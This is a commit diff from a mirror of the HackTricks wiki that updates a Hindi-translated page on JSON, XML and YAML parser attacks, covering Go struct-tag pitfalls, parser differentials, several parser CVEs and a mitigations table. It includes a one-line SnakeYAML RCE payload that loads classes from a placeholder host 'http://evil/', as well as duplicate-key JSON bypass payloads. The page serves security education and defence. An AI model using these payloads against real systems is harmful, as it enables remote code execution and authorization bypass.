mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/json-xml-yaml-hacking.md'] to hi
This commit is contained in:
parent
c28ed846f5
commit
fd9ec72561
@ -22,7 +22,7 @@ IsAdmin bool `json:"-"`
|
||||
```
|
||||
- सामान्य कमजोरियाँ
|
||||
|
||||
1. **गायब टैग** (कोई टैग = फ़ील्ड डिफ़ॉल्ट रूप से अभी भी पार्स किया जाता है):
|
||||
1. **गायब टैग** (कोई टैग नहीं = फ़ील्ड डिफ़ॉल्ट रूप से अभी भी पार्स किया जाता है):
|
||||
```go
|
||||
type User struct {
|
||||
Username string
|
||||
@ -51,11 +51,11 @@ IsAdmin bool `json:"-"`
|
||||
### Parser Differentials
|
||||
|
||||
उद्देश्य यह है कि विभिन्न पार्सर्स कैसे समान पेलोड को अलग-अलग तरीके से व्याख्या करते हैं, इसका लाभ उठाकर प्राधिकरण को बायपास किया जाए, जैसे कि:
|
||||
- CVE-2017-12635: डुप्लिकेट कुंजी के माध्यम से Apache CouchDB बायपास
|
||||
- 2022: XML पार्सर असंगति के माध्यम से Zoom 0-click RCE
|
||||
- CVE-2017-12635: Apache CouchDB बायपास डुप्लिकेट कीज़ के माध्यम से
|
||||
- 2022: Zoom 0-click RCE XML पार्सर असंगति के माध्यम से
|
||||
- GitLab 2025 SAML बायपास XML विशेषताओं के माध्यम से
|
||||
|
||||
**1. डुप्लिकेट फ़ील्ड:**
|
||||
**1. Duplicate Fields:**
|
||||
Go का `encoding/json` **अंतिम** फ़ील्ड लेता है।
|
||||
```go
|
||||
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
|
||||
@ -109,20 +109,57 @@ Go का XML पार्सर इसे **फिर भी** पार्स
|
||||
}
|
||||
```
|
||||
Result:
|
||||
- **Go JSON** parser: `Action_2` (केस-इंसेंसिटिव + अंतिम जीतता है)
|
||||
- **YAML** parser: `Action_1` (केस-सेंसिटिव)
|
||||
- **Go JSON** parser: `Action_2` (case-insensitive + last wins)
|
||||
- **YAML** parser: `Action_1` (case-sensitive)
|
||||
- **XML** parser: parses `"Action_3"` inside the string
|
||||
|
||||
---
|
||||
|
||||
### 🔐 Mitigations
|
||||
## उल्लेखनीय पार्सर कमजोरियाँ (2023-2025)
|
||||
|
||||
| Risk | Fix |
|
||||
|-----------------------------|---------------------------------------|
|
||||
| Unknown fields | `decoder.DisallowUnknownFields()` |
|
||||
| Duplicate fields (JSON) | ❌ No fix in stdlib |
|
||||
| Case-insensitive match | ❌ No fix in stdlib |
|
||||
| XML garbage data | ❌ No fix in stdlib |
|
||||
| YAML: unknown keys | `yaml.KnownFields(true)` |
|
||||
> निम्नलिखित सार्वजनिक रूप से शोषण योग्य मुद्दे दिखाते हैं कि असुरक्षित पार्सिंग एक बहु-भाषा समस्या है — केवल एक Go समस्या नहीं।
|
||||
|
||||
### SnakeYAML डीसिरियलाइजेशन RCE (CVE-2022-1471)
|
||||
|
||||
* प्रभावित: `org.yaml:snakeyaml` < **2.0** (Spring-Boot, Jenkins, आदि द्वारा उपयोग किया जाता है)।
|
||||
* मूल कारण: `new Constructor()` **मनमाने Java क्लासेस** को डीसिरियलाइज करता है, जिससे गैजेट श्रृंखलाएँ बनती हैं जो दूरस्थ कोड निष्पादन में समाप्त होती हैं।
|
||||
* One-liner PoC (कमजोर होस्ट पर कैलकुलेटर खोलेगा):
|
||||
```yaml
|
||||
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
|
||||
```
|
||||
* Fix / Mitigation:
|
||||
1. **≥2.0 में अपग्रेड करें** (डिफ़ॉल्ट रूप से `SafeLoader` का उपयोग करता है)।
|
||||
2. पुराने संस्करणों पर, स्पष्ट रूप से `new Yaml(new SafeConstructor())` का उपयोग करें।
|
||||
|
||||
### libyaml Double-Free (CVE-2024-35325)
|
||||
|
||||
* प्रभावित: `libyaml` ≤0.2.5 (कई भाषा बाइंडिंग द्वारा उपयोग की जाने वाली C लाइब्रेरी)।
|
||||
* समस्या: `yaml_event_delete()` को दो बार कॉल करने से डबल-फ्री होती है जिसे हमलावर DoS में बदल सकते हैं या कुछ परिदृश्यों में heap शोषण कर सकते हैं।
|
||||
* स्थिति: अपस्ट्रीम ने “API misuse” के रूप में अस्वीकार कर दिया, लेकिन Linux वितरणों ने **0.2.6** पैच किया जो डिफेंसिव रूप से पॉइंटर को नल-फ्री करता है।
|
||||
|
||||
### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
|
||||
|
||||
* प्रभावित: Tencent **RapidJSON** कमिट `8269bc2` से पहले (<1.1.0-patch-22)।
|
||||
* बग: `GenericReader::ParseNumber()` में अनचेक्ड अंकगणित हमलावरों को विशाल संख्यात्मक लिटेरल बनाने की अनुमति देता है जो लपेटते हैं और heap को भ्रष्ट करते हैं — अंततः प्रिविलेज-एस्केलेशन को सक्षम करते हैं जब परिणामी ऑब्जेक्ट ग्राफ को प्राधिकरण निर्णयों के लिए उपयोग किया जाता है।
|
||||
|
||||
---
|
||||
|
||||
### 🔐 Mitigations (Updated)
|
||||
|
||||
| जोखिम | सुधार / सिफारिश |
|
||||
|-------------------------------------|------------------------------------------------------------|
|
||||
| अज्ञात फ़ील्ड (JSON) | `decoder.DisallowUnknownFields()` |
|
||||
| डुप्लिकेट फ़ील्ड (JSON) | ❌ stdlib में कोई सुधार नहीं — [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) के साथ मान्य करें |
|
||||
| केस-इनसेंसिटिव मैच (Go) | ❌ कोई सुधार नहीं — संरचना टैग + पूर्व-मानकीकरण इनपुट को मान्य करें |
|
||||
| XML गार्बेज डेटा / XXE | एक हार्डन किए गए पार्सर का उपयोग करें (`encoding/xml` + `DisallowDTD`) |
|
||||
| YAML अज्ञात कुंजी | `yaml.KnownFields(true)` |
|
||||
| **असुरक्षित YAML डेसिरियलाइजेशन** | SafeConstructor का उपयोग करें / SnakeYAML ≥2.0 में अपग्रेड करें |
|
||||
| libyaml ≤0.2.5 डबल-फ्री | **0.2.6** में अपग्रेड करें या डिस्ट्रीब्यूशन-पैच रिलीज करें |
|
||||
| RapidJSON <पैच किया गया कमिट | नवीनतम RapidJSON (≥जुलाई 2024) के खिलाफ संकलित करें |
|
||||
|
||||
## References
|
||||
|
||||
- Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
|
||||
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user